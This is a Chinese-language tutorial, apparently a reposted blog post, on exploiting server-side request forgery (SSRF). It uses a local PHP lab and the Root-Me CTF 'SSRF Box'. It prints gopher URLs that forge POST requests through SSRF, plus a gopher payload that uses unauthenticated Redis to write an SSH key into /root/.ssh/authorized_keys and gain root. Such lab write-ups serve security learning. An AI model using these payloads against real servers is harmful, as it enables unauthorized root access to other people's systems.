渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解

20200424

1.SSRF测试方法

1.1 漏洞环境:PHP脚本、Windows

1.2 利用工具:nc、bash

1.3 测试过程

    首先采用如下脚本创建一个PHP的服务端:

在PHPStudy的WWW目录下新建一个ssrf.php的文本文档,将上面这段PHP脚本复制粘贴到里面并保存
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第1张图片渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第2张图片

开启PHPStudy的web服务:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第3张图片

然后下载并在cmd中打开nc.exe监听软件
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第4张图片

输入命令:nc.exe -lvvp 2233,此时nc进入监听状态:
在这里插入图片描述

然后从浏览器中访问如下链接: http://localhost/ssrf.php?url=http://127.0.0.1:2233
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第5张图片

然后就可以看到nc监听到了版本信息,监听端可以看到来自localhost的请求,请求目标为127.0.0.1的2233端口。:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第6张图片

使用gopher协议来查看协议,访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第7张图片

利用gopher发送POST的请求,访问:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第8张图片

再看nc监听到了账号和密码:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第9张图片渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第10张图片

2. 实战演示2.1 漏洞环境

Rootme CTF all the day2.2 漏洞地址
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/2.3 利用工具
Burp2.4 漏洞介绍
SSRF+redis 获取内网主机权限,利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的2.5 测试过程
访问目标地址,如果没有账号,需要创建账号点击右上的绿色小加号来创建账号,创建完成后回到此页面。
注意:在创建账号时需要一个邮箱,这里建议使用临时邮箱,最好不要填自己的真实邮箱(因为进这些黑客网站别留下真实信息,防止自己的信息日后被别人利用)
申请临时邮箱的网址:http://24mail.chacuo.net/
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第11张图片

申请好邮箱ID后,手动刷新,过一会儿就会收到一封邮件,点击邮件进入:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第12张图片渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第13张图片

找到一个处于none的虚拟机,点击房间名,如下的ctf04
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第14张图片

进入房间后,选择需要创建的虚拟机,选择SSRF Box,点击保存,选择start the game:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第15张图片

过一段时间的等待后,会显示如下信息。
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第16张图片

访问 ctf04.root-me.org 就可以看到启动的虚拟环境了
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第17张图片

当然,如果在创建虚拟机之前,看到其他的房间有人已经创建了SSRF Box我们也可以加入此玩家的房间,点击房间名,进入房间后点击右上角的Join the game。稍等片刻就可以加入到游戏中,根据提示访问对应的地址就可以开始测试啦。
访问地址后可以看到页面显示一个输入框,需要输入url参数,开始抓包。
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第18张图片

尝试在页面输入百度地址https://www.baidu.com后,页面会把百度首页加载进此页面中。
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第19张图片

读取系统文件:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第20张图片

使用burp的Intruder模块,来探测开放的服务端口,开放则显示OK,不开放则显示Connection refused。
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第21张图片

探测可知内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,此处简单科普一下redis漏洞影响。
详细内容可以查看文章:https://www.freebuf.com/vuls/162035.html
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
因此,此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制,从而实现在外网攻击内网应用。

1)利用redis来写ssh密钥

此处利用ssh生成一对公私钥,生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器即可。我们利用redis把目录设置为ssh目录下:
根据网上写密钥有两种协议可以使用,一种是dict,一种是gopher。测试使用dict协议写不成功,写入后不能连接,此处使用gopher写密钥。
使用的payload为:
gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i…2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

payload由joychou的反弹shell修改而来,主要就是替换了写入文件的位置和文件内容。然后修改文件的长度。

先使用命令ssh-keygen,生成ssh密钥对:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第22张图片

找到刚刚生成的ssh密钥对文件:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第23张图片

打开id_rsa.pub文件:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第24张图片

修改上面的payload代码–
1.原始未修改的:
在这里插入图片描述在这里插入图片描述

2.复制刚刚在cmd中通过ssh-keygen生成的密钥:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第25张图片

3.替换掉gopher代码中框住的代码:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第26张图片

4.然后复制替换后的整段代码粘贴到靶场的搜索框中:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第27张图片渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第28张图片

再按下enter回车键

然后回到cmd窗口,然后输入如下的命令,尝试登录,最后登录成功,获得了root权限:
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第29张图片
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解_第30张图片

你可能感兴趣的:(渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解)